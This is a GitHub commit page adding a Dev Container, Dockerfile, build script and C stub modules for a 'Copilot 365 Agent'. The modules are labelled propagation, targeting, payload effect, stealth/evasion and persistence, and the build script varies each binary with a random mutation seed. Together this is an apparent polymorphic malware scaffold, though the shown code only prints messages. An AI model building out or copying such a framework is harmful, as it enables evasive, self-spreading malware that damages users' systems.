Skip to content

Commit 5b0414d

Browse files
authored
Merge pull request #7 from thenot-lab/copilot/setup-dev-container-environment
Add Dev Container environment for isolated cross-platform agent builds
2 parents 04371c3 + 0ab2f7a commit 5b0414d

File tree

13 files changed

+340
-0
lines changed

13 files changed

+340
-0
lines changed

.devcontainer/devcontainer.json

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
{
2+
"name": "Copilot 365 Agent Build Environment",
3+
"dockerFile": "../Dockerfile",
4+
"runArgs": [
5+
"--network=none",
6+
"--cap-add=SYS_ADMIN"
7+
],
8+
"workspaceFolder": "/opt/copilot-365-agent",
9+
"postCreateCommand": "chmod +x /opt/copilot-365-agent/build.sh",
10+
"customizations": {
11+
"vscode": {
12+
"extensions": [
13+
"ms-vscode.cpptools"
14+
]
15+
}
16+
}
17+
}

DEV_CONTAINER_SETUP.md

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
# Dev Container Build Setup
2+
3+
This repository includes a Dev Container configuration for building the Copilot 365 Agent in an isolated environment.
4+
5+
## Prerequisites
6+
7+
- Docker installed and running
8+
- Visual Studio Code with Dev Containers extension (or compatible IDE)
9+
10+
## Quick Start
11+
12+
1. **Open in Dev Container**
13+
- Open this repository in VS Code
14+
- When prompted, click "Reopen in Container"
15+
- Or use Command Palette: `Dev Containers: Reopen in Container`
16+
17+
2. **Build the Agent**
18+
```bash
19+
./build.sh
20+
```
21+
22+
3. **Find the Binaries**
23+
The compiled binaries will be in the `build/` directory:
24+
- `copilot365_agent_win.exe` - Windows 64-bit PE executable
25+
- `copilot365_agent_linux` - Linux 64-bit ELF executable
26+
27+
## Project Structure
28+
29+
```
30+
/opt/copilot-365-agent/
31+
├── .devcontainer/
32+
│ └── devcontainer.json # Dev Container configuration
33+
├── Dockerfile # Ubuntu 20.04 with build tools
34+
├── build.sh # Cross-platform build script
35+
├── src/ # Source code modules
36+
│ ├── ingress.c # Main entry point
37+
│ ├── propagation.c # Mutation engine
38+
│ ├── targeting.c # Target identification
39+
│ ├── effect.c # Payload execution
40+
│ ├── conceal.c # Stealth capabilities
41+
│ ├── persistence.c # Survival mechanisms
42+
│ └── mutation.h # Header file
43+
└── tests/
44+
└── sandbox_tests.md # Test documentation
45+
```
46+
47+
## Environment Details
48+
49+
The Dev Container is configured with:
50+
- **Base Image**: Ubuntu 20.04
51+
- **Network**: Isolated (`--network=none`)
52+
- **Capabilities**: `SYS_ADMIN` added
53+
- **Tools Installed**:
54+
- `build-essential` - GCC and build tools
55+
- `mingw-w64` - Windows cross-compiler
56+
- `gcc-multilib` - Multi-architecture support
57+
- `git` - Version control
58+
- `python3` - Python support
59+
60+
## Build Process
61+
62+
The `build.sh` script:
63+
1. Generates a random mutation seed
64+
2. Compiles for Windows using `x86_64-w64-mingw32-gcc`
65+
3. Compiles for Linux using `gcc`
66+
4. Both builds use `-Os` optimization and the same mutation seed
67+
68+
Each build produces a unique binary with compile-time variation based on the random seed.
69+
70+
## Testing
71+
72+
Refer to `tests/sandbox_tests.md` for comprehensive testing procedures.
73+
74+
## Security
75+
76+
- The build environment has no network access
77+
- Builds are performed in an isolated container
78+
- Build artifacts are excluded from version control
79+
80+
## Troubleshooting
81+
82+
**Issue**: Permission denied when running `build.sh`
83+
**Solution**: Make the script executable: `chmod +x build.sh`
84+
85+
**Issue**: Build directory not found
86+
**Solution**: The script automatically creates the `build/` directory
87+
88+
**Issue**: Compiler not found
89+
**Solution**: Rebuild the Dev Container to ensure all tools are installed

Dockerfile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
FROM ubuntu:20.04
2+
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
3+
build-essential \
4+
mingw-w64 \
5+
gcc-multilib \
6+
git \
7+
python3
8+
WORKDIR /opt/copilot-365-agent
9+
COPY . /opt/copilot-365-agent

_codeql_detected_source_root

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
.

build.sh

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#!/bin/bash
2+
set -e
3+
4+
# Create build directory if it doesn't exist
5+
mkdir -p build
6+
7+
# Random seed for mutation engine (if used for compile-time variation)
8+
MUTATION_SEED=$RANDOM
9+
10+
# Build for Windows (64-bit PE EXE)
11+
x86_64-w64-mingw32-gcc -Os -DMUTATION_SEED=$MUTATION_SEED \
12+
src/*.c -o build/copilot365_agent_win.exe \
13+
-lws2_32 -ladvapi32
14+
15+
# Build for Linux (64-bit ELF)
16+
gcc -Os -DMUTATION_SEED=$MUTATION_SEED \
17+
src/*.c -o build/copilot365_agent_linux

src/conceal.c

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include "mutation.h"
2+
#include <stdio.h>
3+
4+
// Conceal module - Stealth and evasion capabilities
5+
void init_conceal(void) {
6+
printf("Conceal module initialized\n");
7+
}

src/effect.c

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include "mutation.h"
2+
#include <stdio.h>
3+
4+
// Effect module - Payload execution and effects
5+
void init_effect(void) {
6+
printf("Effect module initialized\n");
7+
}

src/ingress.c

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#include "mutation.h"
2+
#include <stdio.h>
3+
#include <stdlib.h>
4+
5+
// Ingress module - Entry point and initialization
6+
int main(int argc, char *argv[]) {
7+
// Initialize mutation engine with compile-time seed
8+
init_mutation(MUTATION_SEED);
9+
10+
printf("Copilot 365 Agent - Build %u\n", MUTATION_SEED);
11+
12+
// Initialize all modules
13+
init_propagation();
14+
init_targeting();
15+
init_effect();
16+
init_conceal();
17+
init_persistence();
18+
19+
printf("All modules initialized successfully\n");
20+
21+
return 0;
22+
}

src/mutation.h

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
#ifndef MUTATION_H
2+
#define MUTATION_H
3+
4+
#include <stdint.h>
5+
6+
// Mutation configuration
7+
#ifndef MUTATION_SEED
8+
#define MUTATION_SEED 0
9+
#endif
10+
11+
// Function declarations for mutation support
12+
void init_mutation(uint32_t seed);
13+
uint32_t get_mutation_value(void);
14+
15+
// Module initialization functions
16+
void init_propagation(void);
17+
void init_targeting(void);
18+
void init_effect(void);
19+
void init_conceal(void);
20+
void init_persistence(void);
21+
22+
#endif // MUTATION_H

src/persistence.c

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include "mutation.h"
2+
#include <stdio.h>
3+
4+
// Persistence module - Survival and longevity mechanisms
5+
void init_persistence(void) {
6+
printf("Persistence module initialized\n");
7+
}

0 commit comments

Comments
 (0)